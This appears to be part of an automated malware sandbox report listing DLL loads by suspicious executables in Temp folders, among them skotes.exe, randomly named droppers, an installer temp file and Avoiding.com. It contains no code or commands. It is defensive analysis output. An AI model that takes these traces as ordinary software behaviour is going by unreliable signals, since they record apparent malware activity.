Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1062802001\ffb3ad5f2d.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textinputframework.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\extrac32.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\36469\Avoiding.com	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1062803001\f10455927a.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1062805001\e18d636f08.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\is-UKBVS.tmp\8b5cf17642.tmp	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1062804001\8b5cf17642.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\is-G65QK.tmp\8b5cf17642.tmp	Section loaded: wldp.dll
